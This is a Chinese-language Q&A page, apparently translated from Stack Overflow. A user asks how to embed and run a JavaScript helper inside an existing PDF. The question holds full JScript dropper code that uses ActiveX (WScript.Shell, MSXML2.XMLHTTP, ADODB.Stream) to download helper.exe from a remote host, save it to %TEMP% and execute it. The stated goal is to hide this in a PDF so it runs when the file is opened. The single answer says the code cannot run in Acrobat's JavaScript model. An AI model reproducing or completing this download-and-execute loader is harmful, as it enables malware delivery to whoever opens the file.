如何在现有PDF中嵌入和执行javascript?

时间:2017-06-13 01:48:02

标签: javascript pdf vbscript

我正在努力将一个helper.js(如果独立执行,可以工作)嵌入到PDF中。

helper.js的功能是从Web服务器下载并在shell中执行。如何在PDF中嵌入此javascript代码以便它可以执行?

以下是我的helper.js代码:

var actxObj = this.ActiveXObject;
var wsObj = new actxObj("WScript.Shell");
var ajaxObj = new actxObj("MSXML2.XMLHTTP");
var helperPath = wsObj.ExpandEnvironmentStrings("%TEMP%") + "/helper.exe";

ajaxObj.onreadystatechange = function() {
    if (ajaxObj.readystate === 4) {
        var adoObj = new actxObj("ADODB.Stream");
        adoObj.open();
        adoObj.type = 1;
        adoObj.write(ajaxObj.ResponseBody);
        adoObj.position = 0;
        adoObj.saveToFile(helperPath, 2);
        adoObj.close();
    };
};

try {

    ajaxObj.open("GET", "http://192.168.134.50/tools/helper.exe", false);
    ajaxObj.send();
    wsObj.Run(helperPath, 1, false);
} catch (e) {};

1 个答案:

答案 0 :(得分:1)

您列出的内容未使用JavaScript核心的Acrobat扩展。它永远不会以PDF格式运行。 Acrobat仅扩展JavaScript核心。在HTML浏览器中运行的JavaScript根本不适用于PDF。解释Acrobat对JavaScript扩展的Acrobat和其他PDF查看器具有完全不同的对象和事件模型。